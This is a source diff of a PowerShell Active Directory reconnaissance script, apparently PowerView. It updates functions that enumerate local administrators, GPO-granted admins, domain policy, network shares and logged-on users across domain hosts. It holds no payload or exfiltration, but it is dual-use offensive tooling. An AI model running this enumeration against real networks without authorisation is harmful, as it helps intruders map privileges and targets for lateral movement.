+ } | Sort-Object -Unique
+ }
- $GPOComputerAdmin = New-Object PSObject
- $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName
- $GPOComputerAdmin | Add-Member Noteproperty 'OU' $OU
- $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPO.GPODisplayName
- $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPO.GPOPath
- $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $Object.name
- $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
- $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_
- $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $($Object.samaccounttype -notmatch '805306368')
- $GPOComputerAdmin
+ $GPO.members | ForEach-Object {
- # if we're recursing and the current result object is a group
- if($Recurse -and $GPOComputerAdmin.isGroup) {
+ # resolve this SID to a domain object
+ $Object = Get-ADObject -Domain $Domain -DomainController $DomainController -PageSize $PageSize -SID $_
- Get-NetGroupMember -SID $_ -FullData -Recurse -PageSize $PageSize | Foreach-Object {
+ $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype
- $MemberDN = $_.distinguishedName
+ $GPOComputerAdmin = New-Object PSObject
+ $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName
+ $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPO.GPODisplayName
+ $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPO.GPOPath
+ $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
+ $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
+ $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_
+ $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $IsGroup
+ $GPOComputerAdmin
- # extract the FQDN from the Distinguished Name
- $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
+ # if we're recursing and the current result object is a group
+ if($Recurse -and $GPOComputerAdmin.isGroup) {
- if ($_.samAccountType -ne "805306368") {
- $MemberIsGroup = $True
- }
- else {
- $MemberIsGroup = $False
- }
+ Get-NetGroupMember -Domain $Domain -DomainController $DomainController -SID $_ -FullData -Recurse -PageSize $PageSize | ForEach-Object {
+
+ $MemberDN = $_.distinguishedName
+
+ # extract the FQDN from the Distinguished Name
+ $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
- if ($_.samAccountName) {
- # forest users have the samAccountName set
- $MemberName = $_.samAccountName
+ $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype
+
+ if ($_.samAccountName) {
+ # forest users have the samAccountName set
+ $MemberName = $_.samAccountName
+ }
+ else {
+ # external trust users have a SID, so convert it
+ try {
+ $MemberName = Convert-SidToName $_.cn
}
- else {
- # external trust users have a SID, so convert it
- try {
- $MemberName = Convert-SidToName $_.cn
- }
- catch {
- # if there's a problem contacting the domain to resolve the SID
- $MemberName = $_.cn
- }
+ catch {
+ # if there's a problem contacting the domain to resolve the SID
+ $MemberName = $_.cn
}
-
- $GPOComputerAdmin = New-Object PSObject
- $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName
- $GPOComputerAdmin | Add-Member Noteproperty 'OU' $OU
- $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPO.GPODisplayName
- $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPO.GPOPath
- $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $MemberName
- $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $MemberDN
- $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_.objectsid
- $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $MemberIsGroup
- $GPOComputerAdmin
}
+
+ $GPOComputerAdmin = New-Object PSObject
+ $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName
+ $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPO.GPODisplayName
+ $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPO.GPOPath
+ $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $MemberName
+ $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $MemberDN
+ $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_.objectsid
+ $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $MemberIsGroup
+ $GPOComputerAdmin
}
}
}
@@ -6047,9 +6822,15 @@ function Get-DomainPolicy {
.EXAMPLE
- PS C:\> Get-NetGPO
+ PS C:\> Get-DomainPolicy
+
+ Returns the domain policy for the current domain.
+
+ .EXAMPLE
+
+ PS C:\> Get-DomainPolicy -Source DC -DomainController MASTER.testlab.local
- Returns the GPOs in the current domain.
+ Returns the policy for the MASTER.testlab.local domain controller.
#>
[CmdletBinding()]
@@ -6103,25 +6884,25 @@ function Get-DomainPolicy {
}
# parse the GptTmpl.inf
- Get-GptTmpl @ParseArgs | Foreach-Object {
+ Get-GptTmpl @ParseArgs | ForEach-Object {
if($ResolveSids) {
# if we're resolving sids in PrivilegeRights to names
$Policy = New-Object PSObject
- $_.psobject.properties | Foreach-Object {
+ $_.psobject.properties | ForEach-Object {
if( $_.Name -eq 'PrivilegeRights') {
$PrivilegeRights = New-Object PSObject
# for every nested SID member of PrivilegeRights, try to
# unpack everything and resolve the SIDs as appropriate
- $_.Value.psobject.properties | Foreach-Object {
+ $_.Value.psobject.properties | ForEach-Object {
- $Sids = $_.Value | Foreach-Object {
+ $Sids = $_.Value | ForEach-Object {
try {
if($_ -isnot [System.Array]) {
Convert-SidToName $_
}
else {
- $_ | Foreach-Object { Convert-SidToName $_ }
+ $_ | ForEach-Object { Convert-SidToName $_ }
}
}
catch {
@@ -6184,6 +6965,11 @@ function Get-NetLocalGroup {
Switch. If the local member member is a domain group, recursively try to resolve its members to get a list of domain users who can access this machine.
+ .PARAMETER API
+
+ Switch. Use API calls instead of the WinNT service provider. Less information,
+ but the results are faster.
+
.EXAMPLE
PS C:\> Get-NetLocalGroup
@@ -6198,7 +6984,7 @@ function Get-NetLocalGroup {
.EXAMPLE
- PS C:\> Get-NetLocalGroup -ComputerName WINDOWS7 -Resurse
+ PS C:\> Get-NetLocalGroup -ComputerName WINDOWS7 -Recurse
Returns all effective local/domain users/groups that can access WINDOWS7 with
local administrative privileges.
@@ -6209,42 +6995,52 @@ function Get-NetLocalGroup {
Returns all local groups on the WINDOWS7 host.
+ .EXAMPLE
+
+ PS C:\> "WINDOWS7", "WINDOWSSP" | Get-NetLocalGroup -API
+
+ Returns all local groups on the the passed hosts using API calls instead of the
+ WinNT service provider.
+
.LINK
http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together
http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx
#>
- [CmdletBinding()]
+ [CmdletBinding(DefaultParameterSetName = 'WinNT')]
param(
- [Parameter(ValueFromPipeline=$True)]
+ [Parameter(ParameterSetName = 'API', Position=0, ValueFromPipeline=$True)]
+ [Parameter(ParameterSetName = 'WinNT', Position=0, ValueFromPipeline=$True)]
[Alias('HostName')]
- [String]
+ [String[]]
$ComputerName = 'localhost',
+ [Parameter(ParameterSetName = 'WinNT')]
+ [Parameter(ParameterSetName = 'API')]
[ValidateScript({Test-Path -Path $_ })]
[Alias('HostList')]
[String]
$ComputerFile,
+ [Parameter(ParameterSetName = 'WinNT')]
+ [Parameter(ParameterSetName = 'API')]
[String]
$GroupName = 'Administrators',
+ [Parameter(ParameterSetName = 'WinNT')]
[Switch]
$ListGroups,
+ [Parameter(ParameterSetName = 'WinNT')]
[Switch]
- $Recurse
+ $Recurse,
+
+ [Parameter(ParameterSetName = 'API')]
+ [Switch]
+ $API
)
- begin {
- if ((-not $ListGroups) -and (-not $GroupName)) {
- # resolve the SID for the local admin group - this should usually default to "Administrators"
- $ObjSID = New-Object System.Security.Principal.SecurityIdentifier('S-1-5-32-544')
- $Objgroup = $ObjSID.Translate( [System.Security.Principal.NTAccount])
- $GroupName = ($Objgroup.Value).Split('\')[1]
- }
- }
process {
$Servers = @()
@@ -6255,140 +7051,273 @@ function Get-NetLocalGroup {
}
else {
# otherwise assume a single host name
- $Servers += Get-NameField -Object $ComputerName
+ $Servers += $ComputerName | Get-NameField
}
# query the specified group using the WINNT provider, and
# extract fields as appropriate from the results
ForEach($Server in $Servers) {
- try {
- if($ListGroups) {
- # if we're listing the group names on a remote server
- $Computer = [ADSI]"WinNT://$Server,computer"
-
- $Computer.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'group' } | ForEach-Object {
- $Group = New-Object PSObject
- $Group | Add-Member Noteproperty 'Server' $Server
- $Group | Add-Member Noteproperty 'Group' ($_.name[0])
- $Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier $_.objectsid[0],0).Value)
- $Group | Add-Member Noteproperty 'Description' ($_.Description[0])
- $Group
- }
- }
- else {
- # otherwise we're listing the group members
- $Members = @($([ADSI]"WinNT://$Server/$GroupName").psbase.Invoke('Members'))
- $Members | ForEach-Object {
+ if($API) {
+ # if we're using the Netapi32 NetLocalGroupGetMembers API call to
+ # get the local group information
+
+ # arguments for NetLocalGroupGetMembers
+ $QueryLevel = 2
+ $PtrInfo = [IntPtr]::Zero
+ $EntriesRead = 0
+ $TotalRead = 0
+ $ResumeHandle = 0
- $Member = New-Object PSObject
- $Member | Add-Member Noteproperty 'Server' $Server
+ # get the local user information
+ $Result = $Netapi32::NetLocalGroupGetMembers($Server, $GroupName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
- $AdsPath = ($_.GetType().InvokeMember('Adspath', 'GetProperty', $Null, $_, $Null)).Replace('WinNT://', '')
+ # Locate the offset of the initial intPtr
+ $Offset = $PtrInfo.ToInt64()
- # try to translate the NT4 domain to a FQDN if possible
- $Name = Convert-NT4toCanonical -ObjectName $AdsPath
- if($Name) {
- $FQDN = $Name.split("/")[0]
- $ObjName = $AdsPath.split("/")[-1]
- $Name = "$FQDN/$ObjName"
- $IsDomain = $True
+ Write-Debug "NetLocalGroupGetMembers result for $Server : $Result"
+ $LocalUsers = @()
+
+ # 0 = success
+ if (($Result -eq 0) -and ($Offset -gt 0)) {
+
+ # Work out how mutch to increment the pointer by finding out the size of the structure
+ $Increment = $LOCALGROUP_MEMBERS_INFO_2::GetSize()
+
+ # parse all the result structures
+ for ($i = 0; ($i -lt $EntriesRead); $i++) {
+ # create a new int ptr at the given offset and cast
+ # the pointer as our result structure
+ $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
+ $Info = $NewIntPtr -as $LOCALGROUP_MEMBERS_INFO_2
+
+ $SidString = ""
+ $Result = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString)
+ Write-Debug "Result of ConvertSidToStringSid: $Result"
+
+ if($Result -eq 0) {
+ # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx
+ $Err = $Kernel32::GetLastError()
+ Write-Error "ConvertSidToStringSid LastError: $Err"
}
else {
- $Name = $AdsPath
- $IsDomain = $False
- }
+ $LocalUser = New-Object PSObject
+ $LocalUser | Add-Member Noteproperty 'ComputerName' $Server
+ $LocalUser | Add-Member Noteproperty 'AccountName' $Info.lgrmi2_domainandname
+ $LocalUser | Add-Member Noteproperty 'SID' $SidString
- $Member | Add-Member Noteproperty 'AccountName' $Name
+ $IsGroup = $($Info.lgrmi2_sidusage -eq 'SidTypeGroup')
+ $LocalUser | Add-Member Noteproperty 'IsGroup' $IsGroup
- # translate the binary sid to a string
- $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($_.GetType().InvokeMember('ObjectSID', 'GetProperty', $Null, $_, $Null),0)).Value)
+ $Offset = $NewIntPtr.ToInt64()
+ $Offset += $Increment
- # if the account is local, check if it's disabled, if it's domain, always print $False
- # TODO: fix this occasinal error?
- $Member | Add-Member Noteproperty 'Disabled' $( if(-not $IsDomain) { try { $_.GetType().InvokeMember('AccountDisabled', 'GetProperty', $Null, $_, $Null) } catch { 'ERROR' } } else { $False } )
+ $LocalUsers += $LocalUser
+ }
+ }
+
+ # free up the result buffer
+ $Null = $Netapi32::NetApiBufferFree($PtrInfo)
- # check if the member is a group
- $IsGroup = ($_.GetType().InvokeMember('Class', 'GetProperty', $Null, $_, $Null) -eq 'group')
- $Member | Add-Member Noteproperty 'IsGroup' $IsGroup
- $Member | Add-Member Noteproperty 'IsDomain' $IsDomain
- if($IsGroup) {
- $Member | Add-Member Noteproperty 'LastLogin' ""
+ # try to extract out the machine SID by using the -500 account as a reference
+ $MachineSid = $LocalUsers | Where-Object {$_.SID -like '*-500'}
+ $Parts = $MachineSid.SID.Split('-')
+ $MachineSid = $Parts[0..($Parts.Length -2)] -join '-'
+
+ $LocalUsers | ForEach-Object {
+ if($_.SID -match $MachineSid) {
+ $_ | Add-Member Noteproperty 'IsDomain' $False
}
else {
- try {
- $Member | Add-Member Noteproperty 'LastLogin' ( $_.GetType().InvokeMember('LastLogin', 'GetProperty', $Null, $_, $Null))
- }
- catch {
- $Member | Add-Member Noteproperty 'LastLogin' ""
- }
+ $_ | Add-Member Noteproperty 'IsDomain' $True
}
- $Member
+ }
+ $LocalUsers
+ }
+ else
+ {
+ switch ($Result) {
+ (5) {Write-Debug 'The user does not have access to the requested information.'}
+ (124) {Write-Debug 'The value specified for the level parameter is not valid.'}
+ (87) {Write-Debug 'The specified parameter is not valid.'}
+ (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'}
+ (8) {Write-Debug 'Insufficient memory is available.'}
+ (2312) {Write-Debug 'A session does not exist with the computer name.'}
+ (2351) {Write-Debug 'The computer name is not valid.'}
+ (2221) {Write-Debug 'Username not found.'}
+ (53) {Write-Debug 'Hostname could not be found'}
+ }
+ }
+ }
- # if the result is a group domain object and we're recursing,
- # try to resolve all the group member results
- if($Recurse -and $IsDomain -and $IsGroup) {
+ else {
+ # otherwise we're using the WinNT service provider
+ try {
+ if($ListGroups) {
+ # if we're listing the group names on a remote server
+ $Computer = [ADSI]"WinNT://$Server,computer"
+
+ $Computer.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'group' } | ForEach-Object {
+ $Group = New-Object PSObject
+ $Group | Add-Member Noteproperty 'Server' $Server
+ $Group | Add-Member Noteproperty 'Group' ($_.name[0])
+ $Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier $_.objectsid[0],0).Value)
+ $Group | Add-Member Noteproperty 'Description' ($_.Description[0])
+ $Group
+ }
+ }
+ else {
+ # otherwise we're listing the group members
+ $Members = @($([ADSI]"WinNT://$Server/$GroupName,group").psbase.Invoke('Members'))
+
+ $Members | ForEach-Object {
+
+ $Member = New-Object PSObject
+ $Member | Add-Member Noteproperty 'ComputerName' $Server
+
+ $AdsPath = ($_.GetType().InvokeMember('Adspath', 'GetProperty', $Null, $_, $Null)).Replace('WinNT://', '')
+
+ # try to translate the NT4 domain to a FQDN if possible
+ $Name = Convert-ADName -ObjectName $AdsPath -InputType 'NT4' -OutputType 'Canonical'
+
+ if($Name) {
+ $FQDN = $Name.split("/")[0]
+ $ObjName = $AdsPath.split("/")[-1]
+ $Name = "$FQDN/$ObjName"
+ $IsDomain = $True
+ }
+ else {
+ $Name = $AdsPath
+ $IsDomain = $False
+ }
- $FQDN = $Name.split("/")[0]
- $GroupName = $Name.split("/")[1].trim()
+ $Member | Add-Member Noteproperty 'AccountName' $Name
- Get-NetGroupMember -GroupName $GroupName -Domain $FQDN -FullData -Recurse | ForEach-Object {
+ if($IsDomain) {
+ # translate the binary sid to a string
+ $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($_.GetType().InvokeMember('ObjectSID', 'GetProperty', $Null, $_, $Null),0)).Value)
- $Member = New-Object PSObject
- $Member | Add-Member Noteproperty 'Server' "$FQDN/$($_.GroupName)"
+ $Member | Add-Member Noteproperty 'Description' ""
+ $Member | Add-Member Noteproperty 'Disabled' $False
- $MemberDN = $_.distinguishedName
- # extract the FQDN from the Distinguished Name
- $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
+ # check if the member is a group
+ $IsGroup = ($_.GetType().InvokeMember('Class', 'GetProperty', $Null, $_, $Null) -eq 'group')
+ $Member | Add-Member Noteproperty 'IsGroup' $IsGroup
+ $Member | Add-Member Noteproperty 'IsDomain' $IsDomain
- if ($_.samAccountType -ne "805306368") {
- $MemberIsGroup = $True
+ if($IsGroup) {
+ $Member | Add-Member Noteproperty 'LastLogin' $Null
}
else {
- $MemberIsGroup = $False
+ try {
+ $Member | Add-Member Noteproperty 'LastLogin' ( $_.GetType().InvokeMember('LastLogin', 'GetProperty', $Null, $_, $Null))
+ }
+ catch {
+ $Member | Add-Member Noteproperty 'LastLogin' $Null
+ }
}
+ $Member | Add-Member Noteproperty 'PwdLastSet' ""
+ $Member | Add-Member Noteproperty 'PwdExpired' ""
+ $Member | Add-Member Noteproperty 'UserFlags' ""
+ }
+ else {
+ # repull this user object so we can ensure correct information
+ $LocalUser = $([ADSI] "WinNT://$AdsPath")
+
+ # translate the binary sid to a string
+ $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.objectSid.value,0)).Value)
+
+ $Member | Add-Member Noteproperty 'Description' ($LocalUser.Description[0])
+
+ # UAC flags of 0x2 mean the account is disabled
+ $Member | Add-Member Noteproperty 'Disabled' $(($LocalUser.userFlags.value -band 2) -eq 2)
+
+ # check if the member is a group
+ $Member | Add-Member Noteproperty 'IsGroup' ($LocalUser.SchemaClassName -like 'group')
+ $Member | Add-Member Noteproperty 'IsDomain' $IsDomain
- if ($_.samAccountName) {
- # forest users have the samAccountName set
- $MemberName = $_.samAccountName
+ if($IsGroup) {
+ $Member | Add-Member Noteproperty 'LastLogin' ""
}
else {
try {
- # external trust users have a SID, so convert it
+ $Member | Add-Member Noteproperty 'LastLogin' ( $LocalUser.LastLogin[0])
+ }
+ catch {
+ $Member | Add-Member Noteproperty 'LastLogin' ""
+ }
+ }
+
+ $Member | Add-Member Noteproperty 'PwdLastSet' ( (Get-Date).AddSeconds(-$LocalUser.PasswordAge[0]))
+ $Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1')
+ $Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] )
+ }
+ $Member
+
+ # if the result is a group domain object and we're recursing,
+ # try to resolve all the group member results
+ if($Recurse -and $IsDomain -and $IsGroup) {
+
+ $FQDN = $Name.split("/")[0]
+ $GroupName = $Name.split("/")[1].trim()
+
+ Get-NetGroupMember -GroupName $GroupName -Domain $FQDN -FullData -Recurse | ForEach-Object {
+
+ $Member = New-Object PSObject
+ $Member | Add-Member Noteproperty 'ComputerName' "$FQDN/$($_.GroupName)"
+
+ $MemberDN = $_.distinguishedName
+ # extract the FQDN from the Distinguished Name
+ $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
+
+ $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype
+
+ if ($_.samAccountName) {
+ # forest users have the samAccountName set
+ $MemberName = $_.samAccountName
+ }
+ else {
try {
- $MemberName = Convert-SidToName $_.cn
+ # external trust users have a SID, so convert it
+ try {
+ $MemberName = Convert-SidToName $_.cn
+ }
+ catch {
+ # if there's a problem contacting the domain to resolve the SID
+ $MemberName = $_.cn
+ }
}
catch {
- # if there's a problem contacting the domain to resolve the SID
- $MemberName = $_.cn
+ Write-Debug "Error resolving SID : $_"
}
}
- catch {
- Write-Debug "Error resolving SID : $_"
- }
- }
- $Member | Add-Member Noteproperty 'AccountName' "$MemberDomain/$MemberName"
- $Member | Add-Member Noteproperty 'SID' $_.objectsid
- $Member | Add-Member Noteproperty 'Disabled' $False
- $Member | Add-Member Noteproperty 'IsGroup' $MemberIsGroup
- $Member | Add-Member Noteproperty 'IsDomain' $True
- $Member | Add-Member Noteproperty 'LastLogin' ''
- $Member
+ $Member | Add-Member Noteproperty 'AccountName' "$MemberDomain/$MemberName"
+ $Member | Add-Member Noteproperty 'SID' $_.objectsid
+ $Member | Add-Member Noteproperty 'Description' $_.description
+ $Member | Add-Member Noteproperty 'Disabled' $False
+ $Member | Add-Member Noteproperty 'IsGroup' $MemberIsGroup
+ $Member | Add-Member Noteproperty 'IsDomain' $True
+ $Member | Add-Member Noteproperty 'LastLogin' ''
+ $Member | Add-Member Noteproperty 'PwdLastSet' $_.pwdLastSet
+ $Member | Add-Member Noteproperty 'PwdExpired' ''
+ $Member | Add-Member Noteproperty 'UserFlags' $_.userAccountControl
+ $Member
+ }
}
}
}
}
- }
- catch {
- Write-Warning "[!] Error: $_"
+ catch {
+ Write-Warning "[!] Error: $_"
+ }
}
}
}
}
-function Get-NetShare {
+filter Get-NetShare {
<#
.SYNOPSIS
@@ -6403,7 +7332,8 @@ function Get-NetShare {
.OUTPUTS
SHARE_INFO_1 structure. A representation of the SHARE_INFO_1
- result structure which includes the name and note for each share.
+ result structure which includes the name and note for each share,
+ with the ComputerName added.
.EXAMPLE
@@ -6416,82 +7346,87 @@ function Get-NetShare {
PS C:\> Get-NetShare -ComputerName sqlserver
Returns active shares on the 'sqlserver' host
+
+ .EXAMPLE
+
+ PS C:\> Get-NetComputer | Get-NetShare
+
+ Returns all shares for all computers in the domain.
+
+ .LINK
+
+ http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/
#>
[CmdletBinding()]
param(
[Parameter(ValueFromPipeline=$True)]
[Alias('HostName')]
- [String]
+ [Object[]]
+ [ValidateNotNullOrEmpty()]
$ComputerName = 'localhost'
)
- begin {
- if ($PSBoundParameters['Debug']) {
- $DebugPreference = 'Continue'
- }
- }
+ # extract the computer name from whatever object was passed on the pipeline
+ $Computer = $ComputerName | Get-NameField
- process {
-
- # process multiple host object types from the pipeline
- $ComputerName = Get-NameField -Object $ComputerName
-
- # arguments for NetShareEnum
- $QueryLevel = 1
- $PtrInfo = [IntPtr]::Zero
- $EntriesRead = 0
- $TotalRead = 0
- $ResumeHandle = 0
+ # arguments for NetShareEnum
+ $QueryLevel = 1
+ $PtrInfo = [IntPtr]::Zero
+ $EntriesRead = 0
+ $TotalRead = 0
+ $ResumeHandle = 0
- # get the share information
- $Result = $Netapi32::NetShareEnum($ComputerName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
+ # get the share information
+ $Result = $Netapi32::NetShareEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
- # Locate the offset of the initial intPtr
- $Offset = $PtrInfo.ToInt64()
+ # Locate the offset of the initial intPtr
+ $Offset = $PtrInfo.ToInt64()
- Write-Debug "Get-NetShare result: $Result"
+ Write-Debug "Get-NetShare result for $Computer : $Result"
- # 0 = success
- if (($Result -eq 0) -and ($Offset -gt 0)) {
+ # 0 = success
+ if (($Result -eq 0) -and ($Offset -gt 0)) {
- # Work out how mutch to increment the pointer by finding out the size of the structure
- $Increment = $SHARE_INFO_1::GetSize()
+ # Work out how mutch to increment the pointer by finding out the size of the structure
+ $Increment = $SHARE_INFO_1::GetSize()
- # parse all the result structures
- for ($i = 0; ($i -lt $EntriesRead); $i++) {
- # create a new int ptr at the given offset and cast
- # the pointer as our result structure
- $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
- $Info = $NewIntPtr -as $SHARE_INFO_1
- # return all the sections of the structure
- $Info | Select-Object *
- $Offset = $NewIntPtr.ToInt64()
- $Offset += $Increment
- }
+ # parse all the result structures
+ for ($i = 0; ($i -lt $EntriesRead); $i++) {
+ # create a new int ptr at the given offset and cast
+ # the pointer as our result structure
+ $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
+ $Info = $NewIntPtr -as $SHARE_INFO_1
- # free up the result buffer
- $Null = $Netapi32::NetApiBufferFree($PtrInfo)
+ # return all the sections of the structure
+ $Shares = $Info | Select-Object *
+ $Shares | Add-Member Noteproperty 'ComputerName' $Computer
+ $Offset = $NewIntPtr.ToInt64()
+ $Offset += $Increment
+ $Shares
}
- else
- {
- switch ($Result) {
- (5) {Write-Debug 'The user does not have access to the requested information.'}
- (124) {Write-Debug 'The value specified for the level parameter is not valid.'}
- (87) {Write-Debug 'The specified parameter is not valid.'}
- (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'}
- (8) {Write-Debug 'Insufficient memory is available.'}
- (2312) {Write-Debug 'A session does not exist with the computer name.'}
- (2351) {Write-Debug 'The computer name is not valid.'}
- (2221) {Write-Debug 'Username not found.'}
- (53) {Write-Debug 'Hostname could not be found'}
- }
+
+ # free up the result buffer
+ $Null = $Netapi32::NetApiBufferFree($PtrInfo)
+ }
+ else
+ {
+ switch ($Result) {
+ (5) {Write-Debug 'The user does not have access to the requested information.'}
+ (124) {Write-Debug 'The value specified for the level parameter is not valid.'}
+ (87) {Write-Debug 'The specified parameter is not valid.'}
+ (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'}
+ (8) {Write-Debug 'Insufficient memory is available.'}
+ (2312) {Write-Debug 'A session does not exist with the computer name.'}
+ (2351) {Write-Debug 'The computer name is not valid.'}
+ (2221) {Write-Debug 'Username not found.'}
+ (53) {Write-Debug 'Hostname could not be found'}
}
}
}
-function Get-NetLoggedon {
+filter Get-NetLoggedon {
<#
.SYNOPSIS
@@ -6505,7 +7440,8 @@ function Get-NetLoggedon {
.OUTPUTS
WKSTA_USER_INFO_1 structure. A representation of the WKSTA_USER_INFO_1
- result structure which includes the username and domain of logged on users.
+ result structure which includes the username and domain of logged on users,
+ with the ComputerName added.
.EXAMPLE
@@ -6519,6 +7455,12 @@ function Get-NetLoggedon {
Returns users actively logged onto the 'sqlserver' host.
+ .EXAMPLE
+
+ PS C:\> Get-NetComputer | Get-NetLoggedon
+
+ Returns all logged on userse for all computers in the domain.
+
.LINK
http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/
@@ -6528,78 +7470,71 @@ function Get-NetLoggedon {
param(
[Parameter(ValueFromPipeline=$True)]
[Alias('HostName')]
- [String]
+ [Object[]]
+ [ValidateNotNullOrEmpty()]
$ComputerName = 'localhost'
)
- begin {
- if ($PSBoundParameters['Debug']) {
- $DebugPreference = 'Continue'
- }
- }
-
- process {
-
- # process multiple host object types from the pipeline
- $ComputerName = Get-NameField -Object $ComputerName
+ # extract the computer name from whatever object was passed on the pipeline
+ $Computer = $ComputerName | Get-NameField
- # Declare the reference variables
- $QueryLevel = 1
- $PtrInfo = [IntPtr]::Zero
- $EntriesRead = 0
- $TotalRead = 0
- $ResumeHandle = 0
+ # Declare the reference variables
+ $QueryLevel = 1
+ $PtrInfo = [IntPtr]::Zero
+ $EntriesRead = 0
+ $TotalRead = 0
+ $ResumeHandle = 0
- # get logged on user information
- $Result = $Netapi32::NetWkstaUserEnum($ComputerName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
+ # get logged on user information
+ $Result = $Netapi32::NetWkstaUserEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
- # Locate the offset of the initial intPtr
- $Offset = $PtrInfo.ToInt64()
+ # Locate the offset of the initial intPtr
+ $Offset = $PtrInfo.ToInt64()
- Write-Debug "Get-NetLoggedon result: $Result"
+ Write-Debug "Get-NetLoggedon result for $Computer : $Result"
- # 0 = success
- if (($Result -eq 0) -and ($Offset -gt 0)) {
+ # 0 = success
+ if (($Result -eq 0) -and ($Offset -gt 0)) {
- # Work out how mutch to increment the pointer by finding out the size of the structure
- $Increment = $WKSTA_USER_INFO_1::GetSize()
+ # Work out how mutch to increment the pointer by finding out the size of the structure
+ $Increment = $WKSTA_USER_INFO_1::GetSize()
- # parse all the result structures
- for ($i = 0; ($i -lt $EntriesRead); $i++) {
- # create a new int ptr at the given offset and cast
- # the pointer as our result structure
- $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
- $Info = $NewIntPtr -as $WKSTA_USER_INFO_1
+ # parse all the result structures
+ for ($i = 0; ($i -lt $EntriesRead); $i++) {
+ # create a new int ptr at the given offset and cast
+ # the pointer as our result structure
+ $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
+ $Info = $NewIntPtr -as $WKSTA_USER_INFO_1
- # return all the sections of the structure
- $Info | Select-Object *
- $Offset = $NewIntPtr.ToInt64()
- $Offset += $Increment
-
- }
-
- # free up the result buffer
- $Null = $Netapi32::NetApiBufferFree($PtrInfo)
+ # return all the sections of the structure
+ $LoggedOn = $Info | Select-Object *
+ $LoggedOn | Add-Member Noteproperty 'ComputerName' $Computer
+ $Offset = $NewIntPtr.ToInt64()
+ $Offset += $Increment
+ $LoggedOn
}
- else
- {
- switch ($Result) {
- (5) {Write-Debug 'The user does not have access to the requested information.'}
- (124) {Write-Debug 'The value specified for the level parameter is not valid.'}
- (87) {Write-Debug 'The specified parameter is not valid.'}
- (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'}
- (8) {Write-Debug 'Insufficient memory is available.'}
- (2312) {Write-Debug 'A session does not exist with the computer name.'}
